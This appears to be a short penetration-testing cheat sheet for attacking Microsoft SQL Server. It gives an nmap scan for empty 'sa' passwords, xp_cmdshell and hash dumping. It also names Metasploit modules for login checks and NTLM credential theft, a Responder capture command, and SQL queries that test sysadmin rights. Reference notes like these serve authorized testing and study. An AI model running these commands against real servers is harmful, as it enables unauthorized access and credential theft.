sqli ms-sql
Recon
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 IPmsf modules
Login check:
use auxiliary/scanner/mssql/mssql_loginSteal NTLM-creds:
use auxiliary/admin/mssql/mssql_ntlm_stealerStart responder:
sudo responder -I tun0
mssqlclient.py DOMAIN/USER:PASS@$IP [-port <>] [-windows-auth]Privilege checks
# to see if we are sysadmin
# returns 1
SELECT IS_SRVROLEMEMBER ('sysadmin')
SELECT IS_SRVROLEMEMBER('sysadmin', 'sa')
SELECT name FROM master..syslogins WHERE sysadmin = '1'EXEC
xp_cmdshell
external_scripts
ms-sql commands
Database File Paths
Error-based
Refer: perspectiverisk.com/mssql-practical-injection-cheat-sheet/
Full pwnage guide
.mdf extract
known bug: xpn/Powershell-PostExploitation/issues/3
Last updated
Was this helpful?